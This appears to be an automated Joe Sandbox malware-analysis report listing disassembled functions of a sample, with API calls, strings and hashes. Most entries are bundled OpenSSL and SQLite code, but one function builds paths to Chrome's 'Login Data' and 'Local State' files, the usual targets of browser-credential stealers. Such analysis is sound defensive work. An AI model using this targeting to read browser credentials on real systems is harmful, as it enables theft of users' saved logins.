Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: -$-Inf$NaN$VUUU$VUUU$gfff$null
API String ID: 2162964266-180214428
Opcode ID: 80f66f2f188caa4453b84b4d9783647dfdc31d798cca6101f88aff7bc00cc348
Instruction ID: 59e3b6b6acab5abc66cf3787fdd1f8733f16b6b87aec61fe31a7a54f10fff7db
Opcode Fuzzy Hash: 80f66f2f188caa4453b84b4d9783647dfdc31d798cca6101f88aff7bc00cc348
Instruction Fuzzy Hash: 7692CD74A0C3818FD715CF28C59079ABBE2EF9A344F19896DE8C68B352D378D845CB52

Function 1008B6C0 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 133encryptionCOMMON

Download Yara Rule

APIs

CryptEnumProvidersW.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,100896A8), ref: 1008B726
CryptEnumProvidersW.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,100896A8), ref: 1008B760
GetLastError.KERNEL32(?,?,?,?,?,?,?,100896A8), ref: 1008B7C6

Part of subcall function 10050D20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,100577AB,?,D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\crypto\err\err_local.h,00000039,?,?,00000000,1007ABC7,crypto\engine\eng_list.c,000000EB,ENGINE_get_first,?,1006F40D), ref: 10050D32

GetLastError.KERNEL32(?,?,?,?,100896A8), ref: 1008B807

Strings

capi_list_providers, xrefs: 1008B6E1
%lX, xrefs: 1008B82B
engines\e_capi.c, xrefs: 1008B735, 1008B771, 1008B7B2, 1008B7D1, 1008B7EE, 1008B81C
capi_get_provname, returned name=%s, type=%d, xrefs: 1008B78E
%lu. %s, type %lu, xrefs: 1008B79F
capi_get_provname, index=%d, xrefs: 1008B707
Available CSPs:, xrefs: 1008B6F0
Error code= 0x, xrefs: 1008B841

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CryptEnumErrorLastProviders$free
String ID: %lX$%lu. %s, type %lu$Available CSPs:$Error code= 0x$capi_get_provname, index=%d$capi_get_provname, returned name=%s, type=%d$capi_list_providers$engines\e_capi.c
API String ID: 2614864092-2617589956
Opcode ID: 086ae281ad129383171ab2202961e8c6ef55bdb82434aa1723090fa4413b6016
Instruction ID: e4d201e7e8bd4cdd5087de4952fd0b127ab2ff288b63283deded4a6a9593e88d
Opcode Fuzzy Hash: 086ae281ad129383171ab2202961e8c6ef55bdb82434aa1723090fa4413b6016
Instruction Fuzzy Hash: E1312C79E40704BAE210EB619D82FAF779CFF45744F400526FA45B20D2DF65FA14C2AA

Function 100899C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 125encryptionCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 10089A04
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 10089A2C
CryptAcquireContextW.ADVAPI32(?,00000000,?,?,F0000000,?,00000000), ref: 10089A46
CryptReleaseContext.ADVAPI32(?,00000000,?,00000000), ref: 10089A55
__fprintf_l.LIBCMT ref: 10089ADF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10089AF8

Strings

%lX, xrefs: 10089AFF
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c, xrefs: 10089ACB
engines\e_capi.c, xrefs: 10089A60, 10089A7D, 10089AEB
capi_ctx_set_provname, name=%s, type=%d, xrefs: 100899E5
ERR_CAPI_error, xrefs: 10089AC4
Error code= 0x, xrefs: 10089B13

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharContextCryptMultiWide$AcquireErrorLastRelease__fprintf_l
String ID: %lX$D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c$ERR_CAPI_error$Error code= 0x$capi_ctx_set_provname, name=%s, type=%d$engines\e_capi.c
API String ID: 4218900188-336129353
Opcode ID: 990640ce7c13465381efa38ee0364b52155ef3bbe9e16a18c68a961f7526ae43
Instruction ID: f047e9ae459ffa97eee1067560cae67116e372bc32af4d1124b9cfd591c71253
Opcode Fuzzy Hash: 990640ce7c13465381efa38ee0364b52155ef3bbe9e16a18c68a961f7526ae43
Instruction Fuzzy Hash: 8C41F235E40219BBEB10EFA5DC86FAB77A8FB49711F140115F608E61C1DF34A920CBA6

Function 1000BFC9 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 736COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D4401
memset.VCRUNTIME140(?,00000000,00000030), ref: 101D44EB
memset.VCRUNTIME140(?,00000000,00000030), ref: 101D46B6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D470F

Strings

second, xrefs: 101D4802
20c:20e, xrefs: 101D4677
-, xrefs: 101D472E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@memset
String ID: -$20c:20e$second
API String ID: 4293446785-3467409559
Opcode ID: 015d442fffbcd2a7939879f7c54ca5656b5c6d05d04b6d237d27ccd2c9461669
Instruction ID: 99080e08c8eef9ea47fba0741bb4a48e6a590c8e55074ebb1d362a5b6e7d3d27
Opcode Fuzzy Hash: 015d442fffbcd2a7939879f7c54ca5656b5c6d05d04b6d237d27ccd2c9461669
Instruction Fuzzy Hash: AE52F471A14B818FD319CA38C85579AF7E6EFD5340F14872EE086DB791EB78E8818B41

Function 10200230 Relevance: 18.1, APIs: 7, Strings: 3, Instructions: 637COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?), ref: 102002D4
memset.VCRUNTIME140(00000000,00000000,?), ref: 10200337
memmove.VCRUNTIME140(?,00000000,00000000), ref: 10200388
memmove.VCRUNTIME140(?,?,00000001), ref: 102003AA
memmove.VCRUNTIME140(?,00000000,00000000), ref: 10200569
memmove.VCRUNTIME140(?,00000000,00000000,?,00000000,00000000), ref: 1020058A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10200860

Strings

immutable, xrefs: 10200714
rnal, xrefs: 10200579
nolock, xrefs: 102006DA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove$Unothrow_t@std@@@__ehfuncinfo$??2@memset
String ID: immutable$nolock$rnal
API String ID: 3461029571-1927824297
Opcode ID: b5948d182656e969cc898ed4eb6b17c27f51d5d00bf1073933925d75237e5838
Instruction ID: 990bcacca104fe63bacd6d74e38e9e03776245c923bd011ba8e13b256f5151e9
Opcode Fuzzy Hash: b5948d182656e969cc898ed4eb6b17c27f51d5d00bf1073933925d75237e5838
Instruction Fuzzy Hash: 7B32E0B1A043429FE704CF28C880B56BBE4FF85354F14462DF8598B355DB3AE968CB92

Function 101D0020 Relevance: 17.1, APIs: 1, Strings: 10, Instructions: 634COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,00000230,?,?,00000006,00000000,1004B7F4,?,?), ref: 101D00C5

Part of subcall function 1020A680: memset.VCRUNTIME140(00000000,00000000,00000054,?,?), ref: 1020A6C3

Strings

96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101D0516, 101D06B6, 101D0779
automatic extension loading failed: %s, xrefs: 101D0609
misuse, xrefs: 101D0520, 101D06C0, 101D0783
API call with %s database connection pointer, xrefs: 101D050A, 101D06AA, 101D076D
RTRIM, xrefs: 101D0285
BINARY, xrefs: 101D0188, 101D0240, 101D0256
%s at line %d of [%.10s], xrefs: 101D0525, 101D06C5, 101D0788
invalid, xrefs: 101D0505, 101D06A5, 101D0768
MATCH, xrefs: 101D048C, 101D04B1, 101D04DA
NOCASE, xrefs: 101D026F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$API call with %s database connection pointer$BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$invalid$misuse
API String ID: 2221118986-1477103039
Opcode ID: 82bdb1208b4629be6927e4cb47b9184d021ff70040e07c843563e01e874acf63
Instruction ID: ff23bc4b4ba0456fcc56b23eabe72cd70c1ffa11a76359f197967d17feea69c2
Opcode Fuzzy Hash: 82bdb1208b4629be6927e4cb47b9184d021ff70040e07c843563e01e874acf63
Instruction Fuzzy Hash: 81222571A00740AFD7128B24DC89B9B77E8EF81384F45442CF98A9B391DB79F944CB96

Function 1008AE30 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 142encryptionCOMMON

Download Yara Rule

APIs

CryptEnumProvidersW.ADVAPI32(?,00000000,00000000,?,00000000,?,?,?,?), ref: 1008AE79
GetLastError.KERNEL32 ref: 1008AE83

Part of subcall function 10089420: __fprintf_l.LIBCMT ref: 10089455

CryptEnumProvidersW.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 1008AF0D
GetLastError.KERNEL32 ref: 1008AF17

Strings

%lX, xrefs: 1008AEAB
engines\e_capi.c, xrefs: 1008AE9C, 1008AEEA, 1008AF22, 1008AF57, 1008AF8E
capi_get_provname, returned name=%s, type=%d, xrefs: 1008AFAD
capi_get_provname, index=%d, xrefs: 1008AE5A
Error code= 0x, xrefs: 1008AEC1

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CryptEnumErrorLastProviders$__fprintf_l
String ID: %lX$Error code= 0x$capi_get_provname, index=%d$capi_get_provname, returned name=%s, type=%d$engines\e_capi.c
API String ID: 3612887391-960962821
Opcode ID: 78e8aac515af2d12d0cf161ffe5e996b3ecd00e7e82dc1bc9302e15c5141762d
Instruction ID: 092ea72049c87ceb87cfe25821bd8b59fe2e9cde63f142becb397495e5bdd92b
Opcode Fuzzy Hash: 78e8aac515af2d12d0cf161ffe5e996b3ecd00e7e82dc1bc9302e15c5141762d
Instruction Fuzzy Hash: AC415B76B403007BE200EB69DD82F5F73D8FF89711F800426F609D7582DF25A51487A2

Function 102015E0 Relevance: 15.5, APIs: 1, Strings: 9, Instructions: 471COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000004,?,?,00000000,00000000,101D02E0,?,?,?,00000000,?,?), ref: 10201B85

Strings

no such %s mode: %s, xrefs: 10201A82
loca, xrefs: 102016F8
mode, xrefs: 102019C7
file, xrefs: 1020163A
no such vfs: %s, xrefs: 10201AF2
lhos, xrefs: 10201701
cach, xrefs: 1020198B
%s mode not allowed: %s, xrefs: 10201B47
invalid uri authority: %.*s, xrefs: 10201722

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: %s mode not allowed: %s$cach$file$invalid uri authority: %.*s$lhos$loca$mode$no such %s mode: %s$no such vfs: %s
API String ID: 2162964266-1127695371
Opcode ID: 5039c81956101355e36c046c234c9d7acc875ca46f3a70ee0f5950504f9e05ad
Instruction ID: 247f8a625cdd50a264b80825c3ae3f7da257d6496c0ee50b35f5118450277cad
Opcode Fuzzy Hash: 5039c81956101355e36c046c234c9d7acc875ca46f3a70ee0f5950504f9e05ad
Instruction Fuzzy Hash: 22F17934A083878FD711CE24C490766BBE2EF86398F754A5CE4D50B29AD736DD29C742

Function 102353C0 Relevance: 11.2, APIs: 3, Strings: 3, Instructions: 668COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 10235436
RaiseException.KERNEL32(C0000006,00000000,00000003,?,00000000), ref: 102354AB
__allrem.LIBCMT ref: 10235932

Strings

96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 1023567A
%s at line %d of [%.10s], xrefs: 10235689
database corruption, xrefs: 10235684

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionRaise$__allrem
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 4130856224-3771113395
Opcode ID: 6d35b770152296f0d7720cac058d9613cda9c5b596795d344f24f8b74e0fb47f
Instruction ID: c6d22badcf5ef5d8087c98bd1076515f6aef06aadbf6ad9c89a147bdb30d6e87
Opcode Fuzzy Hash: 6d35b770152296f0d7720cac058d9613cda9c5b596795d344f24f8b74e0fb47f
Instruction Fuzzy Hash: A73288B56047429FD310CF68C880B5BB7E5FF88745F20492DF98A8B250EB74E964CB92

Function 10270E70 Relevance: 10.2, Strings: 8, Instructions: 222COMMON

Download Yara Rule

Strings

%5lld, xrefs: 10270E90
%4lldM, xrefs: 10270FAC
%4lldT, xrefs: 10271097
%4lldP, xrefs: 102710A4
%2lld.%0lldG, xrefs: 1027104D
%4lldG, xrefs: 1027107D
%2lld.%0lldM, xrefs: 10270F7A
%4lldk, xrefs: 10270EC2

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: %2lld.%0lldG$%2lld.%0lldM$%4lldG$%4lldM$%4lldP$%4lldT$%4lldk$%5lld
API String ID: 0-3476178709
Opcode ID: 60d001df89668df71800dae63db3b6ab4f7795f1d9ffab470ff28175582dcf54
Instruction ID: 442378385ad5cc177a3426137c3d5696fc205226e7d841047b0227d6efdf9e87
Opcode Fuzzy Hash: 60d001df89668df71800dae63db3b6ab4f7795f1d9ffab470ff28175582dcf54
Instruction Fuzzy Hash: 215147B6B143451BE708CC2DDC81BAF71CAEBA4354F98893CFD46D7381E6A8DC944296

Function 102A1C2B Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 102A1C37
memset.VCRUNTIME140(?,00000000,00000003), ref: 102A1C5D
memset.VCRUNTIME140(?,00000000,00000050), ref: 102A1CE7
IsDebuggerPresent.KERNEL32 ref: 102A1D03
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 102A1D1C
UnhandledExceptionFilter.KERNEL32(?), ref: 102A1D26

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: e0c70e44aa7d7a872edffa6f425e6878d4137c429bfb46a83f47711b57b8a880
Instruction ID: 5ce02e63be7a2b2df44fb71fd25d331ddedab11571ad61f7cb9693c014c0e7d7
Opcode Fuzzy Hash: e0c70e44aa7d7a872edffa6f425e6878d4137c429bfb46a83f47711b57b8a880
Instruction Fuzzy Hash: B531E775D05229DBDB21DFA4C9897CDBBB8EF08340F1041EAE40DAB250EB719A84CF45

Function 10237550 Relevance: 7.9, APIs: 5, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 547e840229662bcf8e0a4a612f4d9f4256f51415465abd7bb8902db0fbe3ec96
Instruction ID: a19a7ed91548064e219c0c035d27a3ec787b404499c66250860efe056e6833a8
Opcode Fuzzy Hash: 547e840229662bcf8e0a4a612f4d9f4256f51415465abd7bb8902db0fbe3ec96
Instruction Fuzzy Hash: B8E1DEB56047029FE760CF29C881B1AB3E5FF8C715F91092DF58A8B690EB71E954CB42

Function 101DE550 Relevance: 7.7, APIs: 5, Instructions: 230COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE685
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE6A5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE6C8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE6E6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101DE701

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 651791ea2c4a0a7950038f26aa6064b44a5fa0962d4b1a7fd3c037ac2928e1a8
Instruction ID: 001adb54dc68b528bbc44c4ec782e805e4a41db89335c800948845ed7cbf68fa
Opcode Fuzzy Hash: 651791ea2c4a0a7950038f26aa6064b44a5fa0962d4b1a7fd3c037ac2928e1a8
Instruction Fuzzy Hash: A1817975704B12AFD348DF398A48796BBE9FF88785F014629E858CB350EB74E8148BD1

Function 10001000 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

ntel, xrefs: 10001044
Genu, xrefs: 1000102E
Auth, xrefs: 10001055
cAMD, xrefs: 1000106B
enti, xrefs: 10001060
ineI, xrefs: 10001039

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction ID: 52f0322c9f7efa54899b5370275cfc80003661e4c7914d4e53436cd44613587b
Opcode Fuzzy Hash: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction Fuzzy Hash: EC310877E146570BFB68D87898853ED20C3D3803B4F2ACB39D676D36D8E8698D814290

Function 1008AFE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 216encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000,?,?), ref: 1008B280
CryptReleaseContext.ADVAPI32(?,00000000,?,?), ref: 1008B29A

Part of subcall function 10089420: __fprintf_l.LIBCMT ref: 10089455

Strings

engines\e_capi.c, xrefs: 1008B01A, 1008B1E1, 1008B1FF, 1008B21D, 1008B2C0
Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 1008B278

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ContextCrypt$AcquireRelease__fprintf_l
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider$engines\e_capi.c
API String ID: 1318516483-90255163
Opcode ID: f0537bbb7d828515d42cee861d0f3b749a15e1ccbfafe0618cd864fabe6cadd7
Instruction ID: daeefaa434984218b073613bae5562cf0872c3809c403e4c18a605513966ffc9
Opcode Fuzzy Hash: f0537bbb7d828515d42cee861d0f3b749a15e1ccbfafe0618cd864fabe6cadd7
Instruction Fuzzy Hash: 0351D978E406106AEB00EB31AD47F663698FB51746F040022FD09E92B3EF66F914DA66

Function 1004B53B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(1033A4A0,00000000,00000000,?,102A6652,?,1004E8C5,?,?), ref: 1004B54C

Part of subcall function 10050C20: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,1004E8C5,?,00000000,1004E8C5,?,102A6652,?,1004E8C5,?,?), ref: 10050C4F

CoTaskMemFree.OLE32(?,?,?,?,?,?,1004E8C5,?,?), ref: 1004B588

Strings

%ls\Google\Chrome\User Data\Default\Login Data, xrefs: 1004B570
%ls\Google\Chrome\User Data\Local State, xrefs: 1004B558

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FolderFreeKnownPathTask__stdio_common_vsprintf
String ID: %ls\Google\Chrome\User Data\Default\Login Data$%ls\Google\Chrome\User Data\Local State
API String ID: 3618081814-2009811976
Opcode ID: 746a4420bd5f807e43e00bbec0ddf4ecea234dde3e59caadc11f118c2ec73083
Instruction ID: bd815b045ccafe55c3b70e9b433ef93d1aa412c3d686cdf8889003f120450350
Opcode Fuzzy Hash: 746a4420bd5f807e43e00bbec0ddf4ecea234dde3e59caadc11f118c2ec73083
Instruction Fuzzy Hash: 86F0ECB9840108F7DB11D7908C4BFDD7A29DB09714F300061F514B48A3DB72B7749A08

Function 101A9BA0 Relevance: 6.7, APIs: 1, Strings: 3, Instructions: 723COMMON

Download Yara Rule

Strings

96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101A9BCE, 101AA2A7, 101AA2D7, 101AA303
%s at line %d of [%.10s], xrefs: 101A9BDD, 101AA2B6, 101AA2E6, 101AA312
database corruption, xrefs: 101A9BD8, 101AA2B1, 101AA2E1, 101AA30D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

